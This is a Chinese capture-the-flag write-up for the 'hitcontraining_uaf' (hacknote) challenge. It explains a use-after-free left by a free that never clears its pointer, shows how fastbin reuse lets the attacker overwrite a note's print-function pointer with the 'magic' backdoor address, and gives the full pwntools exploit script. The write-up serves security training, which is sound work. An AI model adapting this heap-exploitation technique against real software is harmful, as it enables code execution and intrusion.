• hitcontraining_uaf


    查看功能

    看到add_note的功能,程序申请了一个8字节的内存用来存放print_note_conent和指向content chunk的指针

    然后根据size申请相应的内存存储真正的content的内容,这里引用wiki的图

     

    因为del_note函数只是单纯的free,并没有把指针置空,导致存在UAF漏洞

    打印出print_note_content指向的内容

    同时还有一个后面函数magic

     思路:

    1、分别申请两个大小不为8的chunk,chunk0和chunk1,然后依此free掉

    2、这样fastbin的链表就是  chunk1 --> chunk0 

    3、再申请一个chunk2,根据堆的分配规则和fastbin先进后出的原则,原本chunk1的堆块现在分配给chunk2使用,chunk0分配给了chunk2的content

    4、覆盖chunk0为magic的地址,这样打印chunk2的内容实际上是调用后门函数

    exp如下

    from pwn import *
    
    #r=remote('node3.buuoj.cn',27284)
    r=process('./hacknote')
    elf=ELF('./hacknote')
    magic_addr=elf.symbols['magic']
    
    def add(size,content):
            r.recvuntil('Your choice :')
            r.sendline('1')
            r.recvuntil('Note size :')
            r.sendline(str(size))
            r.recvuntil('Content :')
            r.sendline(content)
    
    def delete(index):
            r.recvuntil('Your choice :')
            r.sendline('2')
            r.recvuntil('Index :')
            r.sendline(str(index))
    
    def print_note(index):
            r.recvuntil('Your choice :')
            r.sendline('3')
            r.recvuntil('Index :')
            r.sendline(str(index))
    
    add(16,'aaaaaaa')
    add(16,'bbbbbbb')
    delete(0)
    delete(1)
    
    payload=p32(magic_addr)
    add(8,payload)
    print_note(0)
    
    r.interactive()           
  • 相关阅读:
    JAVA SSH 框架介绍
    Web开发者不可不知的15条编码原则
    全选,反选,全不选
    Python函数
    Python变量解析
    Python输入/输出语句
    Python程序基本架构
    Python开发环境安装
    java事件
    测试博客
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12693805.html
Copyright © 2020-2023  润新知